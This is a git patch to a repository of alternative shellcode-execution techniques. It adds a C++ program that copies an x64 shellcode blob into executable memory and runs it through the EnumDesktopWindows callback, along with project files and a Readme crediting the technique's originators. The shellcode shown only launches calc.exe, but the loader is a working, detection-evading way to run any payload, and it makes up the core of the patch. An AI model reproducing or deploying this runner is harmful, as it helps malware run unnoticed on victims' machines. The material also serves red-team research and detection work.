From 86aaedc90ae3c08082b96d8db302233c73b558d3 Mon Sep 17 00:00:00 2001 From: S4R1N Date: Wed, 3 Mar 2021 19:45:05 -0500 Subject: [PATCH] A push a day keeps the doctor away --- AlternativeShellcodeExec.sln | 10 ++ CreateThreadPoolWait/CreateThreadPoolWait.cpp | 2 + EnumDesktopWindows/EnumDesktopWindows.cpp | 48 ++++++ EnumDesktopWindows/EnumDesktopWindows.vcxproj | 147 ++++++++++++++++++ .../EnumDesktopWindows.vcxproj.filters | 22 +++ Readme.md | 4 +- 6 files changed, 231 insertions(+), 2 deletions(-) create mode 100644 EnumDesktopWindows/EnumDesktopWindows.cpp create mode 100644 EnumDesktopWindows/EnumDesktopWindows.vcxproj create mode 100644 EnumDesktopWindows/EnumDesktopWindows.vcxproj.filters diff --git a/AlternativeShellcodeExec.sln b/AlternativeShellcodeExec.sln index f9d5271..ae5dd99 100644 --- a/AlternativeShellcodeExec.sln +++ b/AlternativeShellcodeExec.sln @@ -23,6 +23,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumPropsEx", "EnumPropsEx\ EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumDisplayMonitors", "EnumDisplayMonitors\EnumDisplayMonitors.vcxproj", "{0B01514B-EAB9-4E50-82EA-979C89A5C52F}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumDesktopWindows", "EnumDesktopWindows\EnumDesktopWindows.vcxproj", "{03D224C4-D5EE-4DE9-993C-477B1B937AAF}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 @@ -111,6 +113,14 @@ Global {0B01514B-EAB9-4E50-82EA-979C89A5C52F}.Release|x64.Build.0 = Release|x64 {0B01514B-EAB9-4E50-82EA-979C89A5C52F}.Release|x86.ActiveCfg = Release|Win32 {0B01514B-EAB9-4E50-82EA-979C89A5C52F}.Release|x86.Build.0 = Release|Win32 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Debug|x64.ActiveCfg = Debug|x64 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Debug|x64.Build.0 = Debug|x64 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Debug|x86.ActiveCfg = Debug|Win32 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Debug|x86.Build.0 = Debug|Win32 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Release|x64.ActiveCfg = Release|x64 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Release|x64.Build.0 = Release|x64 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Release|x86.ActiveCfg = Release|Win32 + {03D224C4-D5EE-4DE9-993C-477B1B937AAF}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/CreateThreadPoolWait/CreateThreadPoolWait.cpp b/CreateThreadPoolWait/CreateThreadPoolWait.cpp index ec9b5df..4e317c0 100644 --- a/CreateThreadPoolWait/CreateThreadPoolWait.cpp +++ b/CreateThreadPoolWait/CreateThreadPoolWait.cpp @@ -2,6 +2,8 @@ #include #include +// This technique was developed by alfarom256 please check out his awesome work! + #define LEN 277 // run calc diff --git a/EnumDesktopWindows/EnumDesktopWindows.cpp b/EnumDesktopWindows/EnumDesktopWindows.cpp new file mode 100644 index 0000000..b601198 --- /dev/null +++ b/EnumDesktopWindows/EnumDesktopWindows.cpp @@ -0,0 +1,48 @@ +#include +#include + + +int err(const char* errmsg) { + + + printf("Error: %s (%u)\n", errmsg, ::GetLastError()); + return 1; + +} + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + +int main() { + + + LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + + + if (addr) + ::EnumDesktopWindows(::GetThreadDesktop(::GetCurrentThreadId()), (WNDENUMPROC)addr, NULL); + + +} \ No newline at end of file diff --git a/EnumDesktopWindows/EnumDesktopWindows.vcxproj b/EnumDesktopWindows/EnumDesktopWindows.vcxproj new file mode 100644 index 0000000..2ce3cfd --- /dev/null +++ b/EnumDesktopWindows/EnumDesktopWindows.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {03d224c4-d5ee-4de9-993c-477b1b937aaf} + EnumDesktopWindows + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumDesktopWindows/EnumDesktopWindows.vcxproj.filters b/EnumDesktopWindows/EnumDesktopWindows.vcxproj.filters new file mode 100644 index 0000000..3dbe760 --- /dev/null +++ b/EnumDesktopWindows/EnumDesktopWindows.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/Readme.md b/Readme.md index 31b47d5..35ca910 100644 --- a/Readme.md +++ b/Readme.md @@ -1,5 +1,5 @@ # Alternative Code Execution -According to Microsoft, a callback function is code within a managed application that helps an unmanaged DLL function complete a task. Calls to a callback function pass indirectly from a managed application, through a DLL function, and back to the managed implementation. This repository contains a list of callback functions that can be used to execute position independent shellcode so that CreateThread would be a thing of the past :P. +This is gaining more popularity than expected, so I just wanted to give a shoutout to [alfarom256](https://github.com/alfarom256) for informing me about callback functions and showing me the CreateThreadPoolWait technique. I also wanted to give a shoutout to [ch3rn0byl](https://github.com/ch3rn0byl) for encouraging me to get this project going. -Shoutout to [alfarom256](https://github.com/alfarom256) and [ch3rn0byl](https://github.com/ch3rn0byl) yall are fam. \ No newline at end of file +According to Microsoft, a callback function is code within a managed application that helps an unmanaged DLL function complete a task. Calls to a callback function pass indirectly from a managed application, through a DLL function, and back to the managed implementation. This repository contains a list of callback functions that can be used to execute position independent shellcode so that CreateThread would be a thing of the past :P. \ No newline at end of file